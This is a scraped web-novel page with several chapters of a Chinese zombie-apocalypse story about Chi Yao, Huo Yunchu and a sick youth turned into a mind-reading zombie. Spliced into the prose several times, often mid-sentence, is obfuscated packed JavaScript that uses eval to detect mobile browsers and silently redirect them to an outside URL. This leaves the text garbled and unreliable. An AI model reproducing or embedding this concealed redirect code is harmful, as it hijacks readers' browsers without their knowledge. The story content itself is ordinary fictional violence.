l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573925|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收走和霍云初相连的手,指尖再次盖在了婴儿头顶。 然而,这一次,她先是拂上了婴儿的双眼,婴儿以为她在与其玩耍,乖乖闭上了眼。 池遥心里一酸,快速发动能力,抽取婴儿的生命。 这下,车旁的空地上只剩下了池遥和霍云初两个人,严谨的说是一人一尸,在他们脚下,老人和婴儿的尸体神色安详地平躺在地面上。 池遥垂下眼帘,默不作声地望着自己的手掌。 觉醒第二个能力后,她收割过很多人的性命。 池遥并不认为自己不该杀人,在还未觉醒能力时,她就已经杀了阿元,尽管她那时一直以为阿元是丧尸,但在看到对方的尸体时,她也意识到了隐约的真相。 只是,抽取生机这个能力杀戮的代价实在太小了,只要接触到对方的皮肤,就有机会在无形中杀死对方,池遥在上一个世界还会控制自己留敌人一条命,在这个世界却已经能心态平和地收割生命了。 她似乎在不知不觉间,开始轻贱生命了。 霍云初打开车门,把一直趴在车窗上偷看外面情况的卢淼和少年叫了下来,他用能力在不远处挖出一个凹陷的土坑,少年和卢淼合力将两具尸体放进坑里掩埋,顶部立着一块小小的墓碑。 池遥和霍云初一同对着墓碑鞠了一躬,另一边车上的幸存者也一个接一个地下车,神色肃穆地围在墓碑前。 有人拆下外衣的扣子,放在墓碑前,有人拿出了身上的糖纸,用小石子压着放在土堆边,几乎是所有人都拿出了一点无用的废品,但却带着真挚的心意。 只要这些物品还留在墓碑前,王奶奶就还会被这些人留在记忆里。 很快,车子再次发动,朝着幸存者聚集地驶去。 “幸存者聚集地在北方的一个沿海城市,过去要跨省,估计要开几天的车。”霍云初叹了口气,单手捏着眉心,很疲倦的样子。 “要不要问问后面的人,看看有没有人和你换着开?”池遥问他。 疲劳驾驶不可取啊。 “丧尸是不用睡觉的,但确实要问一下,后面车上是普通人在开车,坚持不了太久。”霍云初点点头。 池遥透过后视镜看了一眼后排,卢淼和她的朋友心悦都是昏昏欲睡的样子,少年在后排盯着车窗出神,池遥不久前问了他的名字,他叫陈霄。 “你刚才问王奶奶的问题,是想做什么?” 她问。 “我之前说过,我的血可以让普通人变成丧尸,也可以让丧尸变得更强。”霍云初余光瞥了她一眼。 “如果她对活下去的意志很强烈的话,说不定我可以帮她一把,说不定她会保留自我意志,变成高等丧尸。” 但比起活下去的意志,王奶奶还是选择了另一条路。 身后突然传来了一声轻响,池遥回过头,才发现,刚才后排表现得昏昏欲睡的三人,不知何时都变得精神百倍,认真听着前座二人的对话。 尤其是陈霄盯着霍云初的目光格外灼热。 “先说好,这只是迫不得已的手段,我也不确定经由我手变成丧尸后的人类会怎样。”霍云初同样注意到了身后的人。 “我知道。”陈霄接过他的话,“可是,只要有能变强的机会,我愿意承担风险,这样......也不行吗?” “你成年了吗?”霍云初问他。 池遥心想,这孩子最多十五岁。 “没。” “那你心智还不成熟,我不接受你的请求。”霍云初立刻回绝了。 79. 海城研究院3 车子继续向前开去。 或许是为了结束上一个话题,霍云初忽然减速,与后面跟随的车辆并排。 “一会儿到前方停一下。”他指着前方一辆废弃的车子,“这辆车里的汽油是满的。” “附近没有丧尸,我们下去加个油。” 另一辆车子停下来加油的时候,霍云初坐在驾驶位,前后看了两眼,没有下车。 “我来到这里以后,似乎很少在野外看到丧尸。” 池遥跟随着霍云初的目光,四处看了看,发现附近的确没有丧尸。 来到这个世界之后,尽管从所有人口中得知这个世界的丧尸十分凶险,但在路上遇到丧尸的次数实在少得可怜。 “北方的野生丧尸数量一直在减少。”霍云初叹了口气,解答池遥的问题,“第二次变异潮后,出现了能够驱使普通丧尸的高等丧尸。如果一个地区的丧尸数量锐减,就证明附近出现了高等丧尸。末日后我去了很多地方,只有北方地区呈现出这样的趋势。” “你也可以控制普通丧尸吗?”身后的卢淼好奇地问。 “可以。”霍云初点点头。 另一辆车上的幸存者们加油的动作很快,然而,下车的几人回到车上后,却没有立刻启动车子。 过了一会儿,又一人走下车子,敲了敲霍云初身侧的车窗。 “霍先生,我们车上有一个人的状态不是很好,可以让他到您的车上来吗?” “可以啊。”霍云初点点头。 他们乘坐的商务车共九座,跟随霍云初一同离开的幸存者数量不少,然而,大抵是介意霍云初的丧尸身份,另一辆车上满满当当坐了八人,池遥和霍云初的车上反而只有五人。 被扶下车子的,是一个面色惨白,衣衫褴褛的青年。 青年个子不高,格外消瘦,五官清秀文雅,但却透着憔悴的病气,一双漆黑的眼睛有些失焦,似乎早就没了力气,全靠两边扶他的人支撑。 池遥第一个下了车,双手握住了青年的手,试图将能力传输到他身上,然而,温暖的热流却完全治愈不了青年身上的病痛。 青年被扶到池遥所在车子的最后一排躺下,陈霄挪到前排坐好,两辆车子再度出发。 “治不了。”池遥回头看了一眼倒在座椅上,双手捂着胸口,痛苦地紧闭双眼的青年,“不是伤口,是疾病。” “是心脏病。”陈霄叹了一口气,“我认识他,他有先天心脏病。” “我也记得,之前试药的时候,他也去了。但因为研究员要求试药者身体健康,最后就没有选他。”卢淼叹了口气。 “那,你们每个月的房租,他是怎么交的呢?”池遥问。 “他有很多药,药物换成晶核之后,也能勉强坚持一段时间。”卢淼说。 到了夜里,两辆车子各找了隐蔽的位置停下,卢淼和心悦去了另一辆车上休息,池遥所在的车上却是一派紧张气氛。 后排的青年不知从什么时候开始,断断续续发出嘶哑的喘气声,惨白的脸色逐渐染上了红晕。 “真的没事吗?” 池遥蹲在他身旁,握着他的手,缓慢地输送能力,然而,无论输入再多的能力,也无法缓解他的病情。 “......没事。” 青年的声音还未完全发出,就破碎在喉咙里,再次变成无力的闷哼。 “你身上带药了吗?” 霍云初收起倒数第二排的椅背,尽可能为他腾出空间。 青年无力地摇头。 “本来就...吃完了......”他的声音断断续续,全是气声,“别管我了.....我...” 霍云初深深地叹了口气,拍拍一旁陈霄的肩膀。 “太晚了,你先去前座睡觉,这边我来看着。” 池遥看了一眼手表显示的时间,此时已经是晚上十一点了,尽管并不算晚,但在大范围断电,只靠自然光生活的末世而言,的确已经是深夜了。 “去副驾驶坐着,那边空间大。”池遥拍拍陈霄的背。 担心打扰到陈霄休息,池遥和霍云初不再出声,一片黑暗中,寂静的车内只剩下了青年偶尔实在忍不住发出的哼声。 在这样静谧而安全的环境中,池遥也有了困意,忍不住低下头,闭上眼睛,意识断断续续,偶尔陷入睡眠又很快惊醒。 青年的一只手被她紧紧握住,池遥能感受到他的身体每一次激烈的痉挛,也能感受到他时而紧握,时而放松的力道。 似乎过了很久,她忽然感觉青年微微蜷缩了一下,他垂下头,轮廓柔和的眉骨和鼻梁,轻轻蹭了一下她的手背。 触感很轻,仿佛一只胆怯的猫咪冲她伸出肉垫示好。 池遥猛地睁开眼,在一片黑暗中与不需要睡眠的霍云初对视,对方朝着她无声摇头。 身为人类的青年在漆黑的环境中注意不到池遥睁开的眼睛,他在黑暗中目光涣散地凝视着被他握在掌心的手,犹豫许久,将脸埋在她的手背之上。 视线中只剩下对方凌乱的发丝,池遥僵着身体,能清晰感觉到冰凉湿润的触感。 不知道是汗水还是泪水。 一时间,池遥瞪大了眼睛,不知道该做出什么反应,只能将慌乱的目光投向一旁的霍云初,然而,还没等霍云初接收到她的目光,青年的面庞就慢慢挪开。 紧接着,他放开了池遥的手,扶着身下的座椅踉跄起身,穿过坐在他前方两侧的池遥和霍云初,打开了车门,缓慢地下了车。 疏冷的月光之下,他独自一人,拖着病体,摇摇欲坠地向前走去。 在他身后,霍云初控制着声音,小心打开了车门,跟着下了车,而池遥则拍拍前座被惊醒的陈霄肩膀,轻声安慰一句,紧随霍云初身后下了车。 青年沿着无人的街道向前,进了一间被劫掠一空的商店,靠着墙壁,身体无力地跌坐在地。 视野因为剧烈活动而变得模糊不清,最后隐约看见的,是出现在他面前的一个人影。 “还有意识吗?能听清我说话吗?” 一个格外稳定,可靠的声音仿佛隔着遥远的云端,传到他耳畔。 “啊.....我......” 青年的意识在逐渐消失。 一双熟悉的,温暖的手捧住他的脸。 “我帮不上忙!”池遥的声音很急切,微微发抖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582202|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他的生命力在快速流失,流失得太快了,我的能力填补不上!” 霍云初没说话。 他的目光死死盯着青年发青的面孔,不知何时死死咬住了嘴唇,神色变化莫测。 意识逐渐消散,然而,一阵突如其来的剧痛硬生生将青年的意识扯了回来。 “你想继续活下去吗?” 有什么声音,振聋发聩地在耳边炸响,仿佛平地里的一声惊雷。 霍云初扯着青年的衣领,硬生生把他消瘦的身躯拎起来,吊在半空中,声音里带着狠意。 被悬在空中的人胸膛震颤一下,似乎恢复了一点意识,勉强张开口,气若游丝地发出破碎的音节。 “想啊...” 下一秒,他的身体被人狠狠掼在地上。 冰冷的,带着甜腥味的液体灌入口中,他无力吞咽,只依稀感觉到有一双温暖的手扶正他的头颅,轻轻推动他的下颚。 再之后,他彻底失去了意识。 池遥一手托着青年的上半身,让他勉强靠在墙边,另一只手扶着他的头。 在青年的另一侧,霍云初面无表情,悬在青年面前的手上多出一道横贯整个掌心的伤口,源源不断的鲜血顺着指尖流淌而下,落入青年口中。 高等丧尸的恢复能力强得可怕,不到一分钟,霍云初掌心的伤口就开始结痂,他放下手,站起身来,长出一口气。 “这样就可以了吗?”池遥将青年的身体放平,走到霍云初身边,目光仍旧带着担忧,“他会变成和你一样的高等丧尸吗?” “也许会。”霍云初也说不好,“也有可能会变成普通丧尸,看造化了。” 少年陈霄还在车上睡觉,两人在青年身旁席地而坐。 浅淡的月光投射在霍云初的身上,在他身上镀了一层浅淡的光晕,池遥此时毫无睡意,目光在身边的霍云初与青年身上反复挪移。 “你之前说,你不能一直和人类在一起。” 犹豫许久,池遥终于提出萦绕在心间的问题。 “接下来,你有什么打算?” “我吗?”霍云初抬起头,英俊的五官在月光下显得更为深邃,“先帮你销毁掉你的资料。” “之后......” 他的声音断掉了。 “之后?” 池遥侧过头看他,正与他对视,目光猛然相撞,却没有一个人移开视线。 “你大概无法理解我吧。” 仿佛认输一般,他的目光躲避开池遥的视线,垂下眼,声音有些轻。 “刚变成丧尸的时候,我还没有身为丧尸的实感,总是习惯性地接近人类,与人类打交道,试图找到变成人类的方法。后来被抓做实验,经历了一段不愿回想的时光。到现在,我已经清楚意识到现实了。” 池遥点点头,认真倾听他的话语。 “池遥你看,那些幸存者,即便非要跟随我离开,也不愿意和我坐在一辆车上,因为我是丧尸,丧尸与人类之间就是隔着这么庞大的鸿沟。” “等到安顿好这些人类,帮你找到同伴后,我就会北上,去找丧尸聚集地。” “然后成为新的丧尸王。” 80. 海城研究院4 丧尸王。 对于池遥而言,这是一个听到后需要展开想象力才能联想到的生疏词汇。 在遇到霍云初之前,丧尸二字在她的认知中只是一个符号,是致使末日出现的病毒般存在,除非尽数杀死,不然,池遥想不到第二种改善末世的办法。 霍云初长相与丧尸截然不同,尽管一直声称自己是丧尸,但池遥对此并没有实感。 刚刚那段话,霍云初的语气十分郑重,或许是在给池遥时间消化,他语速放得很慢,反而更让池遥感到心惊。 但是,如果真的必须要有个丧尸成为丧尸王的话,那她希望是霍云初来担任这个位置。 “好呀。” 整理好思绪,池遥收敛起眼神中的异样,冲霍云初露出一个与过去无异的微笑,伸出手,握住对方冰冷的手掌。 “我觉得你可以的。” 夜色渐深,月色归于静谧,二人渐渐不再说话,池遥歪着头昏昏欲睡,忽然听到一旁的青年似乎动弹了一下,立刻将她惊醒。 眼前的场景十分诡异,面前的空地上,原本靠坐在墙边的青年忽然触电般抽搐起来,惊得池遥身形一颤,身旁的霍云初倒是没什么反应,只拍拍她的手背。 “快了。” 语气过于平静,让池遥有几分悬浮的心再次落回实地。 十分钟过去,原本剧烈痉挛的青年慢慢恢复平静,只时不时轻微抽搐一下,胸口逐渐有了轻微起伏。 霍云初长舒一口气。 “丧尸还会呼吸吗?” 池遥是第一次如此细致观察丧尸的转变过程,以往杀丧尸的时候似乎也没见过会呼吸的丧尸,此时盯着青年明显在呼吸的胸口,惊诧地发问。 “高等丧尸会模仿人类习性。” 霍云初在一旁开口,池遥这才想到,霍云初平日里看起来与人类无异,也是因为他有规律的呼吸。 “这是高等丧尸独有的。” 担心池遥不懂,霍云初又补充一句,池遥这才明白他话中的含义。 “他变成高等丧尸了!” 青年仍旧没有恢复意识,除却刚才剧烈抽搐染脏了衣服,他浑身上下没有发生任何改变,仍旧是一副人类模样。 成功了! 他活下来了! 池遥急忙挪到青年身边,近距离打量他。 变成丧尸之前,他的面色就因为久病一片惨白,此时除了脸色依旧苍白,似乎没出现任何丧尸化特征。 “唔...” 终于,她听到了青年压低的吭声,不知何时,他睁开眼,目光直直盯着池遥。 只一瞬间,池遥就发生了他的变化。 他的瞳孔变成了令人胆寒的深红色,显得整个人都变得凌厉,但更让池遥感到悚然的,是他的目光。 从醒来后,他的目光就一直定在池遥身上,他一眼都没有看池遥的脸,目光如同刀锋一边死死扎进她的脖颈,池遥几乎能感受到他的垂涎。 “咳。” 池遥捂住喉咙轻咳一声,若无其事地将身体后倾几分,挪远了几分。 距离稍微拉远,身边的青年这才敛起目光,似乎才清醒过来,眼神逐渐上移,与池遥对视。 神色带着明显的困顿与茫然。 “好大声......” 他目光再度回到池遥脖颈上,甚至向下滑了几寸,复又注视着她的眼睛,轻声呢喃,语气轻柔,说出的话却让人不寒而栗。 “我听得到,你身体里,血液流动的声音。” 幸好,这一次,他的目光只落在池遥脸上,目光中的情绪很淡,没有再露出初醒时仿佛要将她吞吃入腹的眼神。 他的距离靠得太近,池遥后知后觉地感受到了脸上的热度。 “这是正常的。”霍云初在一旁道,“你已经变成高等丧尸了,五感都会相应提高。” “丧尸?” 青年喃喃自语,忽然伸出手,用力捂住胸腔。 胸口处,原本杂乱不清的心跳变得平稳有力,正一下又一下地在身体里搏动。模仿人类是高等丧尸与生俱来的习性,可尽管知道心跳是模仿出来了,却仍旧让他欣喜。 他患有先天心脏病,几乎从未感受过平稳的心跳。 身体过度虚弱,精神也浑浑噩噩,很少有如此清醒,能量充沛的时刻。 “你有吃人的冲动吗?”霍云初指着池遥问她。 青年顿了顿,愣愣地摇头。 池遥在一旁跟着点头,心想看来这人和霍云初一样,虽然身为丧尸,却没有强烈的食欲。 “是的。” 不知为何,青年忽然又点了点头,似乎在回应池遥的心声一般。 “是想吃人还是不想?”霍云初只看到他一边摇头一边给出肯定回答。 “我只能听到池小姐的血流声,能够通过气味区分出人类和丧尸,人类的气味虽然很香,但没有到让我失去神志的程度,也不会对此产生食欲。” 他描述得很仔细,霍云初点点头。 “那你刚才说什么是?” “刚才不是池小姐在说话吗?” 青年却看向了在一旁一直没吭气的池遥。 “我?”池遥也没想到,不由抬手指向自己。 “池小姐说霍先生也一样,对人类不存在食欲。”青年一脸无辜。 “啊......” 池遥立刻反应过来,瞪大眼睛看向霍云初,眼神中满是喜色。 这个世界三级以上的丧尸,全部拥有不同能力,包括高等丧尸。 在得知青年变成高等丧尸时,池遥就想到了这一点,青年必定也觉醒了自己的能力。 若是他能够听到池遥的心声,那么他的能力必然就是...... “原来是读心能力。”青年显然听到了池遥的心声,冲池遥露出一个温和的笑容,池遥却隐约能感觉到,他对自己的能力似乎并不十分满意。 “我还以为会是对战斗更有用的能力。” 即便变成丧尸,他看起来还是十分虚弱,尤其是露出沮丧神色时,看起来十分令人揪心,池遥忍不住一直盯着他看。 “已经是很有用的能力了。”霍云初出言安慰了一句,侧过头看一旁的池遥,神色有些奇异。 “对了,你还没告诉我你叫什么名字。”池遥这才想起来,之前因为他奄奄一息,看起来随时都会消亡,她和霍云初都没敢问对方的名字。 但现在,他一定还能活很久很久。 “韩厢月。” 青年显然听到池遥心中的美好愿景,朝她弯起眸子,眼中噙着一丝笑意,语气分外柔和。 “很好听的名字!”池遥夸道。 韩厢月眼中的笑意更真切了几分。 “我可以直接叫你的名字吗,池遥?” 池遥很难抵挡住韩厢月这类型的漂亮青年,抬手整理垂下的鬓角和额前的碎发,声音有些发飘。 “啊,这,可以啊!这有什么的!” “咳!” 不知为何,一旁的霍云初握拳抵在唇边,大声咳嗽,瞬间打散了池遥与韩厢月之间和谐气氛,韩厢月似乎听到了什么似的,目光飘向霍云初,不过几秒钟,忽然快速看向池遥,神色有点慌张,又带着一点羞赧。 “我和池遥说几句话,你先回车上吧,即便丧尸不用睡觉,但陈霄还独自在车上。” 霍云初也发现自己的心声被韩厢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586107|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月听到了,立刻就要赶人走。 莫名其妙地,听到霍云初的话后,韩厢月朝着霍云初弯了弯眼睛,又与一旁的池遥对视一眼,转身离开。 他身高比不过霍云初,但因为久病身形十分消瘦,把他的背影拉得很长。 “你刚才想到什么了?” 池遥和霍云初并排站着,一起看他的背影,等韩厢月走得稍微远一点,她好奇地问。 “你是不是很喜欢韩厢月这种类型的男生?”霍云初看她的眼神有点无奈。 这个问题,池遥难以回答。 爱美是人之天性,池遥虽然还没谈过正经恋爱,但帅哥也没少看,无论是什么圈子,只要和学习无关,她都略有涉猎。 只要是长得好看的男生,都可以是她的理想型,但平心而论,比起酷帅类型的异性,池遥更喜欢长相美丽的人。 如果再加一点破碎感就更好了。 这种喜好一直被她掩藏在心底,但霍云初说得没错,比起相貌英俊贵气的他,清秀温和,对池遥说话时亲切又柔和的韩厢月确实更能诱发池遥的好感。 “......” “别装哑巴。” “哦。” 酝酿了半天,池遥打好长篇大论的腹稿,话到嘴边忘得一干二净。 “是,是挺喜欢的。” 许久,霍云初在她身边拉长音,深深叹了口气,眉头拧得死紧,神似发现女儿和黄毛早恋的苦命老父亲。 “我有个朋友和他很像,但我那个朋友长得更好看些,性格也更无害,你以后如果能见到他,一定会很喜欢的。” 池遥也不知道该说什么,也不知道霍云初突然给她介绍朋友用意何在,在他旁边像个呆头鹅似的,干巴巴杵在原地,只仰脸看他。 “算了,快天亮了,回车上吧。” 最终,霍云初先开口,两人一前一后回了车上。 陈霄占据了池遥的副驾驶,她只能到第二排落座。 一见到他们回来,原本坐在后排的韩厢月顶着霍云初的视线,若无其事地挪到池遥身旁。 怕吵醒熟睡的少年,三人都没发出任何声音,池遥原本把脑袋靠在窗户上,玻璃上的冷气把她整个人都冻得清醒了几分,结果韩厢月的手不知何时绕过她后颈穿过来,帮她把窗边的帘子拉开,折叠起来垫在池遥的脑袋和玻璃之间,做好这一切后从容收回了手。 只有池遥惊住了,身体僵了几秒,连呼吸声都刻意放轻。 韩厢月肯定听到了霍云初刚才的心声,那现在,他这个动作是在干什么呢? 不行不行,不能再想这些了,身边的人会听到。 “睡吧。” 似乎发现她不自在,韩厢月轻轻拍了拍她的肩膀,他的力度太轻,让池遥想起和自己在这个世界失散的小猫,连小猫推她的力气都比韩厢月的大。 于是,在完全睡不着的气氛中,池遥无声地闭上眼,不知过了多久,还真睡着了。 夜色沉沉地倾轧下来。 路边的面包车车门旁,倚着一个姿态闲散的人。 指尖的一丁点猩红火光在夜色中极为显眼,有在野地中流窜的丧尸被光亮吸引,暗中窥伺,下一秒,脖颈处却陡然发生爆炸,整个脑袋被炸得血肉模糊。 一个看上去十分年轻的人从倒地的丧尸背后现身,他拾起丧尸脑袋里的晶核,与倚在车前的人对上视线。 “怎么突然叫我回来?”青年的声色停顿一下,叫出了对方的名字。 “林北辰。” “我追踪到了从隐山逃脱的幸存者的住处。”林北辰抬起头,缭绕的烟雾模糊了他的神色。 “据他们说,把他们救出来的人,姓霍。” 81. 海城研究院5 在韩厢月身边完全睡不踏实! 天色微亮,陈霄一醒,池遥立刻就与陈霄换了位置,坐在熟悉的副驾驶位置上,又睡了个回笼觉。 醒来时已经是下午了,车子进入了一座废弃的城市,四周可见之处到处都是倒塌的废墟。 “这是海城,穿过这座城市再开一天就到聚集地了。”霍云初在一旁介绍,余光透过反光镜看向后排同样看着窗外景色的几人。 “海城是早期丧尸情况最严重的几个城市之一,在撤离全部人类后,军方拉起了防护网,把海城围死,发动了炮弹。” 池遥倒吸一口凉气。 她对科技和武器的了解实在太少了,完全没想过居然还会有这种办法。 “现在海城一大半地区都被毁坏了,只剩下城西还能看出个城市的样子。我们朝城西开,聚集地在西边海域里。” 霍云初眉头紧蹙,紧盯着前方的景物,没过一会儿,他忽然轻咳一声,吸引了全车人的视线。 “注意警惕,这里还有其他人,有其他车辆的车辙印。” 说完这句话,霍云初为他们所在的车辆打开了双闪灯,这是之前和另一辆车司机讨论出的方案,一旦打开双闪灯,就证明有危险接近。 经过轰炸过后,变成废墟的海城只剩下了几条大路能够行车,这些道路都是几个月前驾车经过海城的人们开辟出来的,即使看到前方车辆的车辙印,也没有第二条路可以避开。 “应该不是北方基地的车。”池遥回想到林北辰送她去隐山的经历,“林北辰的车队会隐藏车辙印。” “这里是通往聚集地的必经之地,还记得在隐山的那一伙聚集地的队伍吗?有可能是他们。” 霍云初一边开车,一边分析。 “如果你的资料在那群人手里,我们可以在海城截住他们,不需要去闯聚集地的总部了,那里很难入侵。” “你对聚集地了解多少?” 池遥问他。 “末日初期,聚集地是北方最大的基地,因为它是军方建立的,顶着官方的名头,吸纳了很多能力者。”霍云初眼中闪过一丝嫌恶。 “还记得我和你说过的吗,第二次变异潮,很多人高烧昏迷,这其中一部分是高烧疾病,另一部分则是变成丧尸的预兆。” “为防止意外发生,聚集地处决了所有体温异常的普通人,处死了一半以上的人口。” 他尽可能说得客观,但越说到后面,越咬牙切齿。 与其他基地不同,聚集地在末日初期打着官方的名义,积极收容从不同地区撤离的普通人,进行军事化管理,军纪严明,要求每个人无条件服从上级领导的安排。 然而,聚集地内部派系复杂,勾心斗角,上级领导换了一茬又一茬,在普通人不知情的情况下,最初的领导层早已被后来者击溃。 第二次变异潮中,聚集地以保护幸存人类的名义,残忍屠杀一半以上人口,这其中除了发烧的普通人之外,还包括大量并未发烧,但与现任统治者派系不同的人。 正因如此,变异潮过去之后,人口锐减的聚集地迅速衰落,首都的北方基地变成了北方最大的基地。 如今的聚集地已经无法和北方基地匹敌,只能通过与隐山等小型基地合作来获取资源。 霍云初对聚集地如此了解,正是拜他当初被聚集地擒获所赐。 天色渐暗,车子很快就到了城西,一到尚未被损坏的城区,霍云初就在隐蔽的地方停下车。 “有高等丧尸的气息,就在不远处的大楼里。” 一下车,池遥就听到了他刻意压低的声音。 “你能察觉到它,但它能察觉到你吗?” “我是用能力感知到它的,高等丧尸之间没有互相感应的能力。”霍云初朝着大楼的方向走了几步,直到看清大楼全貌,才停下脚步。 其余人都留在车上,只有池遥和韩厢月跟着他走了下来,池遥跟随着他的视线,望向不远处的大楼。 这是一栋形似医院的大楼,修得格外气派,楼身刻着几个大字。 海城研究院。 然而,吸引池遥视线的并非这五个大字,而是站在大楼门口的一个穿白大褂的人影。 这个人,她十分熟悉! 正是在隐山时,跟在Lee博士身后的助手关振! “霍云初。”池遥伸手抓住霍云初的衣角,轻声将自己的发现告诉他。 “这个人是隐山的研究员,我的资料很有可能在他手里。” 关振站在研究院大门外环视一圈就推门回去,似乎在等什么人。 天色慢慢暗了下来,透过大楼窗户,隐约能看到不少穿白大褂的人影,看来从隐山撤离的研究员们应该全都在此处。 这期间,关振又走出来两次,他似乎在焦急地等待着什么人,池遥和霍云初三人站在不远处的街角处,默不作声地打量周围的一切,却没看出任何不对劲。 关振回去后,霍云初拍拍池遥的肩膀。 “我一个人潜入进去,把所有资料销毁,顺便看看里面的高等丧尸是怎么回事,你们站在这里帮我望风。” 他的语气很严肃,不容置疑。 大楼里的高等丧尸还不知道是什么情况,池遥很想和他一起去,然而,霍云初一走,剩下的所有人当中只剩下她和韩厢月两人有自保能力,身后的车子里还有卢淼等人,她不能把保护所有人的责任留给韩厢月一个人。 “我们在这里等你回来。”池遥点点头。 “放心。” 看出池遥的情绪,霍云初冲她颔首。 “在这里等我一个晚上,如果天亮以后我还没出来,你们就原路返回。” 留下这句话,他转身离开。 独自行动时,霍云初的动作十分迅速,身形在路口一闪而过,没过多久就从研究院的侧门溜了进去。 池遥与韩厢月在原地眼睁睁看着霍云初的动作,直到他成功进入,才一同松了口气。 他们二人下车的时间已经过了好几个小时,原本坐在另一辆车里的卢淼走了下来,问他们具体情况。 池遥和韩厢月轻声把霍云初的事情告诉了卢淼,他们大概要在这里停驻一晚,让卢淼嘱咐其他人在车上待着,不要贸然下车。 看到池遥和韩厢月的神色都十分严肃,卢淼也神色凝重地点点头,回车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591148|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上告诉其他人这个消息后,和心悦一起下了车,去了池遥所在的车上。 池遥三人下车后,车上就只剩下了陈霄一个人,有卢淼两个人在,不至于太孤独。 时间缓慢流逝。 大概半小时后,车辆引擎声从远处传来,一辆轿车从对面方向行驶而来,停靠在对侧街道,从车上走下来四个人。 这四人当中,池遥对三个人都有印象,是林北辰和他身边的大喇叭部下,以及之前给林北辰开车的司机。 唯一一个完全陌生的,是走在林北辰身边的青年。 这是一个身形高大的青年,他有意与林北辰并肩前进,但林北辰却始终落后半步,与他错开半个肩膀的距离。 青年看起来十分年轻,比池遥大不了几岁,五官线条锐利,显得桀骜不驯,呈现出一种凌厉的美感。他头发微长,形成类似狼尾的形态,发尾染成耀眼的白金色,发根则是纯黑色。他穿一件黑色机车外套,宽肩窄腰,肌肉轮廓明显,极具压迫感,然而那张线条凛冽的俊脸上却是一副意气风发的少年神采。 四人穿过一条街道,步行来到海城研究院大门口,关振此时已经听到声音,来到大门口迎接四人。 “是北方基地的人。” 池遥压低声音,和韩厢月通气。 韩厢月点点头。 霍云初还在研究院里,他们身边还有将近十位幸存者,没办法和林北辰几人硬碰硬,池遥只能继续站在原地,按兵不动,心里祈祷霍云初平安无事,快点出来。 林北辰等人进去后,池遥向韩厢月介绍了她认识的几人,顺便说了她印象中这几人展现出的能力。 没过多久,四人就从大门离开,关振没有出现。 池遥不知道这四人进去做了什么,想通知霍云初,也不知道该用什么办法才能不被察觉,眼看着四人朝着轿车停靠的方向走,一时不知道该怎么办,只能死死盯着林北辰的背影。 不知为何,心脏急速跳动,入夜后的冷空气仿佛是淬了冰的刀子,冻得人感知都开始麻木。 无形的危机感从四面八方包围。 池遥一把抓住韩厢月的手,拼命后退,本能地发动能力。 几乎是同时,他们刚才站立的地方发出一声炸响,韩厢月被池遥拉着后退,半个身子被炸伤,转瞬间被池遥迅速治愈。 “快走!” 池遥用力推了一把韩厢月的身体,挡在他面前,她能感觉到面前的虚空中似乎有什么透明的东西拦在自己面前。 而视线尽头,朝着她站立的方向从容走来的,则是林北辰一行四人。 “真巧,又见面了,池小姐。”林北辰不带一丝感情的目光漠然凝视着对面的池遥。 比起面无表情的林北辰,反而是他旁边的年轻人看起来更好接近。 “林队长。”池遥抿了抿唇,她注意到在林北辰开口的瞬间,林北辰的属下与司机就追着韩厢月的方向消失了,但林北辰属下的能力似乎是放大音量,司机的能力不清楚,但肯定不会强过林北辰,韩厢月好歹是个高等丧尸,应该能招架得住。 只要她拖住面前的二人,就能给其他人挣得一分生机。 82. 海城研究院6 池遥只见过一次林北辰的能力,他似乎能通过能力让其他人窒息而死,但具体是什么情况,她就不知道了。 那么,刚刚在空气中陡然出现的爆炸究竟是林北辰的能力,还是林北辰身边的年轻人的能力? 池遥希望是后者。 “这里我一个人来就行。”青年瞥了一眼林北辰,示意他也去追韩厢月,池遥放走了两个人,不可能再让林北辰过去,当即掏出钢管,朝着林北辰的方向挥去。 林北辰手中没有武器,连连后退,躲过池遥的攻击,池遥担心他发动能力,想一鼓作气先吸取他的生命力,然而,却忽然感受到身边的空气在轻微震动,有些喘不上气,立刻向后几步。 剧烈的爆炸声再次响起,这一次池遥没躲过去,失去了一条胳膊,幸好她提前为自己输入能力,很快就恢复过来。 趁着这个间隙,林北辰越过池遥,朝着韩厢月的方向追去,池遥还想追,但林北辰身后却响起了一连串的爆炸声,隔开了她和林北辰之间的距离。 这几次爆炸过后,池遥立刻明白,凭空爆炸是对面的青年的能力。 